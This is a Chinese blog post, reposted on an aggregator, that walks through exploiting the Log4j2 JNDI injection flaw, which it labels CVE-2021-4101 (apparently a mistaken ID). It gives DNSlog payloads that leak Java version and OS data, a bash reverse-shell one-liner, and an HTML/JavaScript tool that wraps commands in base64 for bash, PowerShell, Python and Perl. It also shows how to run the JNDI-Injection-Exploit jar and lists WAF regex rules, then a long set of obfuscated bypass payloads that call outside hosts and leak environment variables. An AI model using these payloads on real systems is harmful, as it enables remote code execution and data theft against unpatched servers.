Apache Log4j2(CVE-2021-4101)远程代码执行漏洞复现

news2024/12/24 3:20:10

文章目录

  • 前言
    • 影响范围
    • 黑盒发现
  • 复现准备
    • JNDI
    • LADP
    • RMI
  • 漏洞复现
    • Dnslog数据外带
    • 使用工具进行反弹shell
  • 防御与绕过
    • 防御
    • 绕过
  • 参考

前言

Apache log4j是Apache的一个开源项目,Java的日志记录工具(同logback)。

log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。

payload:${jndi:rmi:10.10.10.x:1099/shell}	#log4j2组件会将信息记录到日志中
日志中包含${},log4j在日志输出中,未对字符合法性进行严格的限制,遇到${,jndi接口通过lookup()方法解析括号中的内容	rmi:10.10.10.x:1099/shell
解析到ldap/rmi,就会去10.10.10.x的ldap/rmi服务找名为shell的资源,如果找不到就会去http服务中找
在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入。攻击者就可以通过shell实现任意的命令执行,造成严重危害

影响范围

Apache Log4j 2.x <= 2.14.1

受影响的组件(影响范围极广):

Spring-Boot-strater-log4j2 Apache Struts2 Apache Solr Apache Flink Apache Druid ElasticSearch Flume Dubbo Redis Logstash Kafka vmvare 

黑盒发现

只要是能够被服务端获取且被记录的地方都是可以触发漏洞的,比如 header 中的 Cookie、User-agent 等,post 或者 get 的参数中,url 中等,这种只能盲打,根据返回结果来判断。
header中字段都可以进行尝试
在这里插入图片描述

复现准备

JNDI

JNDI(Java Naming and Directory Interface) java命名与目录接口
JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI映射为特定的命名服务和目录系统是的Java应用程序可以和这些命名服务和目录服务之间进行交互

在这里插入图片描述

javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该类定义了Context接口和InitialContext类
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitiaIlDir-Context类
javax.naming.event:在命名目录服务器中请求事件通知 javax.naming.ldap:提供LDAP支持
javax.naming.spi:允许动态插入不同实现,胃不痛命名目录服务供应商的开发人员提供开发和现实的途径,以便应用程序通过JNDI可以访问相关服务

LADP

轻型目录访问协议(Light Weight Directory Access Protocol)

目录是一个为查询、浏览和搜索而优化的专业分部式数据库,它呈树状结构组织数据,就好像linux/unix系统中的文件目录一样。目录数据库和关系数据库不同,他有优异的读写性能,但是写性能差,并且没有事务处理、回滚等复杂功能,不适合存储修改频繁的数据。所以目录天生是用来查询的,就好像他的名字一样
用在统一身份认证领域比较多,简单的理解为类似于字典的数据流,可以通过LDAP协议,传一个name进去,就能获取到数据

RMI

远程方法调用(Remote Method Invocation)
远程方法调用是分布式编程中的一个基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。
RMI可以使我们引用远程主机上的对象,将JAVA对象作为参数传递,而这些对象要可以被序列化

漏洞复现

Dnslog数据外带

使用payload ${jndi:ldap://rpoghj.dnslog.cn}
看到窗口就可以插入测试(就是这里ip返回的不准确)
在这里插入图片描述
那么可以外带那些数据呢?
在这里插入图片描述

${jndi:ldap://${sys:java.version}.iswaen.dnslog.cn}
${jndi:ldap://${sys:os.arch}.iswaen.dnslog.cn}

在这里插入图片描述

使用工具进行反弹shell

JNDI注入工具下载地址: https://github.com/welk1n/JNDI-Injection-Exploit/releases

bash -i >& /dev/tcp/10.10.10.146/4444 0>&1

反弹shell命令进行加密

<!DOCTYPE html>
<html>
<head>
    <title>java runtime exec usage...</title>
</head>
<body>
    <p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
 
    <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
 
<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');
 
  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;
 
    switch (option) {
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
        poshInput = ''
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
        break;
      case 'python':
        taInput.placeholder = 'Type Python here...'
        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
        break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    }
 
    if (!taInput.value) taOutput.value = '';
  }
 
  taInput.addEventListener('input', processInput, false);
</script>
 
</body>
</html>

在这里插入图片描述

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “反弹shell命令” -A “该IP是开启JDNI服务的主机地址”
-c :远程 class 文件中要执行的命令。
-A :服务器地址,可以是 ip 或者域名

Apache log4j2 vps复现

漏洞利用流程图:
在这里插入图片描述

防御与绕过

防御

更新log4j至 rc2(https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2)
禁止用户输入的参数中出现攻击关键字(过滤用户输入)过滤相关的关键词,比如${jndi://*}
禁止lookup下载远程文件(命名应用)
配置防火墙策略,禁止log4j的应用去连接外网
禁止log4j使用lookup方法
从log4j 的jar包总删除lookup(2.10以下版本)
升级受影响的应用及组件
使用waf 设置正则匹配规则

\${(\${(.*?:|.*?:.*?:-)('|"|`)*( ?1)}*|[jndi:(ldap|rm)]('|"|`)*}*){9,10}
(jndi:|ldap://)[^/]+/[\w,\\-]+#
……

绕过

1、JNDI、LADP、RMI绕过

2、利用分隔符和多个${}绕过

logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");

3、使用lowerCase upperCase把关键词分隔开

logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");

如果使用了正则的话可以使用upper把jndi进行转换
同时也可以利用一些特殊字符的大小写转化的问题

现在数据传输很多都是 json 形式,在 json 中也可以进行尝试
像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过

{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}

一些payload变形绕过:

${${xcc:-j}${:ff:::-n}${:-d}${:-i}${muk:raz:f:o:-:}${i:ewwh:-l}${vno:ov:zpvk:-d}${lo:xq:zvx:-a}${yiku:b:-p}${rr::j:o:-:}${wy:klo:-/}${ery:loup:hgn:-/}${bhez:-f}${::-e}${mme:-y}${:-u}${:-a}${ndny:isc:wvlr:-k}${:-q}${:-h}${tr::d:-.}${por:rdd:o::-x}${p:-.}${uu:uno:ics:ae:-m}${w:c:--}${:wl:-s}${:--}${gaf::dhaa:wajp:-n}${:-.}${gl:-c}${wng:e:s:pe:-o}${:-/}}
${jndi:ldap://127.0.0.1:1389/ badClassName} 

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk

参考

https://blog.csdn.net/weixin_46198176/article/details/124917641
https://cloud.tencent.com/developer/article/1919456
https://blog.csdn.net/Koikoi12/article/details/121906895
https://www.freebuf.com/articles/web/341857.html
https://blog.csdn.net/csd_ct/article/details/122916620

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/430126.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Qt Quick - FileDialog文件对话框

FileDialog文件对话框使用总结一、概述二、使用三、常用属性四、常用例子1. 单选打开文本文件2. 单选保存文本文件一、概述 FileDialog提供了一个基本的文件选择器的功能&#xff1a;它允许用户选择现有的文件或目录&#xff0c;或者创建新的文件名。 对话框最初是不可见的。…

【性能测试学习】2023最有效的7大性能测试技术(建议收藏)

进入互联网时代&#xff0c;性能测试显得越来越重要&#xff0c;移动应用、web应用和物联网应用都需要进行性能测试和性能调优&#xff0c;而进行性能和负载测试会产生了大量的数据&#xff0c;这些数据难以分析。除了数据分析&#xff0c;我们还会遇到其它一些困难和挑战。 今…

数据结构和算法学习记录——认识二叉搜索树及二叉搜索树的查找操作(递归以及迭代实现-查找操作、查找最大和最小元素)

目录 二叉搜索树 二叉搜索树的一些操作函数 二叉搜索树的查找操作Find 递归实现 迭代实现 查找最大和最小元素 查找最小元素的递归函数 查找最大元素的迭代函数 二叉搜索树 二叉搜索树&#xff08;BST&#xff0c;Binary Search Tree&#xff09;&#xff0c;也称二…

深入了解 Hugging Face 中的生成工具:Generate方法

❤️觉得内容不错的话&#xff0c;欢迎点赞收藏加关注&#x1f60a;&#x1f60a;&#x1f60a;&#xff0c;后续会继续输入更多优质内容❤️&#x1f449;有问题欢迎大家加关注私戳或者评论&#xff08;包括但不限于NLP算法相关&#xff0c;linux学习相关&#xff0c;读研读博…

SSH升级

升级openssh版本一、安装telnet远程管理主机1、检查是否安装telnet2、安装telnet服务二、下载所需的安装包1、下载openssl、openssh、zlib安装包2、安装所需的相关软件3、备份原来的数据4、复制文件到/usr/local/bin/下增加执行权限一、安装telnet远程管理主机 1、检查是否安装…

通达信口袋支点选股公式编写和设置方法答疑

1、口袋支点选股公式成交量条件 在我编写的口袋支点选股公式中&#xff0c;成交量条件为成交量创10日新高。有网友提出&#xff0c;根据书中的定义&#xff0c;口袋支点成交量条件是成交量大于近10日下跌时的最大成交量。 这个问题确实是我没考虑周全&#xff0c;成交量创10日…

【5G NAS】NR 终端侧PDU建立过程以及数据包的过滤和映射

博主未授权任何人或组织机构转载博主任何原创文章&#xff0c;感谢各位对原创的支持&#xff01; 博主链接 本人就职于国际知名终端厂商&#xff0c;负责modem芯片研发。 在5G早期负责终端数据业务层、核心网相关的开发工作&#xff0c;目前牵头6G算力网络技术标准研究。 博客…

对数据去趋势

对数据去趋势 测量的信号可能显示数据中非固有的整体模式。这些趋势有时会妨碍数据分析&#xff0c;因此必须进行去趋势。 以具有不同趋势的两种心电图 (ECG) 信号为例。ECG 信号对电源干扰等扰动很敏感。加载信号并绘制它们。 load(ecgSignals.mat) t (1:length(ecgl));su…

LaTeX+Overleaf 论文速通教程

一、文本/排版二、章节和段落三、数学公式四、插入图片五、插入表格六、参考文献与交叉引用不使用BibTeX使用BibTeX(推荐)七、交叉引用label和refOverleaf开发界面 latex命令&#xff1a;\命令[可选参数]{必选参数} Latex项目组成&#xff1a; .tex&#xff1a;正文 .bib&…

如何对数据库进行优化

数据库是什么&#xff1f; 简单来说数据库就是将数据按照一定顺序存储到磁盘上的一个软件&#xff0c;我们平时写的sql语句&#xff0c;就是用数据库软件能识别的语言&#xff0c;对数据进行增删改查。其实数据本质上是不存在表里&#xff0c;而是存在磁盘上&#xff0c;所谓的…

掌握亚马逊,沃尔玛,东南亚平台的测评要点,测评事半功倍

测评其实最重要的两个点就是自己的资源和成号率 资源包括;商家资源&#xff0c;中介资源&#xff0c;礼品卡资源&#xff0c;还有买卖账号的渠道&#xff0c;ip资源 成号率这个直接影响的就是你个人投入成本的多&#xff0c;成号率越高&#xff0c;你的成本越低&#xff0c;但…

【Java版oj】day36Rational Arithmetic、Pre-Post

目录 一、Rational Arithmetic &#xff08;1&#xff09;原题再现 &#xff08;2&#xff09;问题分析 &#xff08;3&#xff09;完整代码 二、Pre-Post &#xff08;1&#xff09;原题再现 &#xff08;2&#xff09;问题分析 &#xff08;3&#xff09;完整代码 一、…

十七、小程序报错 真机调试预览失效 Error: Illegal Buffer

报错 电脑端微信开发者工具运行成功而真机调试预览失效 报错 MiniProgramError Illegal Buffer 报错 {errno: 600001, errMsg: “request:fail -200:net::ERR_CERT_COMMON_NAME_INVALID”} 前言&#xff1a;手头有个去年的微信小程序项目 年底甲方不在使用 所以停掉了服务器、…

互联网医院系统构建:探索开源云平台与互联网医院平台源码的融合

互联网医院系统作为一种新型医疗服务模式&#xff0c;将传统的医院门诊转化为在线咨询、远程会诊等形式&#xff0c;帮助患者更加方便地获得专业医疗服务。 在实现互联网医院系统的建设过程中&#xff0c;选择合适的云平台和医院平台源码是至关重要的。 首先&#xff0c;开源…

LVM逻辑卷管理

目录一、LVM简介1、逻辑卷管理磁盘的优点2、缺陷3、LVM概述图二、LVM的使用1、创建逻辑卷2、使用逻辑卷3、删除逻辑卷4、LVM扩容5、LVM缩容三、Snapshot&#xff08;快照功能&#xff09;1、LVM-snapshot简介2、利用snapshot做备份&#xff08;LV快照&#xff09;四、LVM数据迁…

整型在内存中的存储

在计算机底层&#xff0c;所有数据最终都会被表示为二进制形式。整型也不例外。本文将介绍在C语言中如何定义和操作整型变量&#xff0c;并解释整型在内存中的存储方式。 整型变量的定义和使用 在C语言中&#xff0c;可以用int关键字来定义一个整数型变量。例如&#xff1a; …

ChatGPT们接踵而至,AI会彻底改变我们的工作方式吗?

2023年开年&#xff0c;AI成为了舞台上聚光灯下的主角&#xff0c;AI 浪潮不仅让我们对人工智能的能力有了一次全新的理解&#xff0c;而且所有人的工作和生活都将受到不同程度的影响。 ChatGPT、Notion AI、New Bing、GPT-4、MidJourney v5、office copilot、Adobe Firefly、…

解决方案:炼丹师养成计划 Pytorch如何进行断点续训——DFGAN断点续训实操

我们在训练模型的时候经常会出现各种问题导致训练中断&#xff0c;比方说断电、系统中断、内存溢出、断连、硬件故障、地震火灾等之类的导致电脑系统关闭&#xff0c;从而将模型训练中断。 所以在实际运行当中&#xff0c;我们经常需要每100轮epoch或者每50轮epoch要保存训练好…

Python实现哈里斯鹰优化算法(HHO)优化卷积神经网络分类模型(CNN分类算法)项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档视频讲解&#xff09;&#xff0c;如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 2019年Heidari等人提出哈里斯鹰优化算法(Harris Hawk Optimization, HHO)&#xff0c;该算法有较强的全…

DAY 43 Apache的配置与应用

虚拟Web主机 概述 虚拟web主机指的是在同一台服务器中运行多个web站点&#xff0c;其中每一个站点实际上并不独立占用整个服务器&#xff0c;因此被称为"虚拟"web主机。通过虚拟web主机服务可以充分利用服务器的硬件资源&#xff0c;从而大大降低网站构建及运行成本…